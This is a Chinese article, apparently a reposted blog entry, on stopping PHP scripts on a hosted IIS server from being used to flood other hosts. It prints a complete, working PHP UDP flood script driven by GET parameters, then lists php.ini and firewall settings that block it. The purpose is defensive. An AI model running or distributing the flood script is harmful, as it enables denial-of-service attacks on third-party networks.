防止用户利用PHP代码DOS造成用光网络带宽
2015-01-24信息快讯网
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:$packets = 0; $ip = $_GET[\'ip\']; $rand = $_GET[\'port\']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET[\'time\']; $time = time(); print \"Flooded: $ip on port $rand \"; $max_time = $time+$exec_time; for($i=0;$i<65535;$i++){ $out .= \"X\"; } while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\"; ?>
表现特征:
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
解决办法:
禁止上述的代码:
在c:\windows\php.ini里设置:
disable_functions =gzinflate;
在c:\windows\php.ini里设其值为Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;号一定要有,意思就是限制用sockets.dll
前面的;号要保留
然后重启IIS
如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.
另外,对于没加密的php攻击代码,还可以用以下办法处理:
1.在IP策略,或防火墙中,禁止所有udp向外发送
2.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词
PHP安全性漫谈
PHP连接SQLSERVER 注意事项(附dll文件下载)
php数组中删除元素的实现代码
php数据结构与算法(PHP描述) 查找与二分法查找
通过PHP的内置函数,通过DES算法对数据加密和解密
php中使用接口实现工厂设计模式的代码
让PHP更快的提供文件下载的代码
header中Content-Disposition的作用与使用方法
逆序二维数组插入一元素的php代码
PHP序列号生成函数和字符串替换函数代码
php DOS攻击实现代码(附如何防范)
php模拟post行为代码总结(POST方式不是绝对安全)
php中$_REQUEST、$_POST、$_GET的区别和联系小结
防止本地用户用fsockopen DDOS攻击对策
php中实现记住密码自动登录的代码
php Smarty 字符比较代码
php下批量挂马和批量清马代码
php SQL Injection with MySQL
PHP的SQL注入实现(测试代码安全不错)
php通用防注入程序 推荐
php中根据某年第几天计算出日期年月日的代码
PHP中防止SQL注入实现代码
php提交表单时判断 if($_POST[submit])与 if(isset($_POST[submit])) 的区别
Discuz Uchome ajaxpost小技巧
解决PHP在DOS命令行下却无法链接MySQL的技术笔记
POSIX 风格和兼容 Perl 风格两种正则表达式主要函数的类比(preg_match, preg_replace, ereg, ereg_replace)
php 模拟POST|GET操作实现代码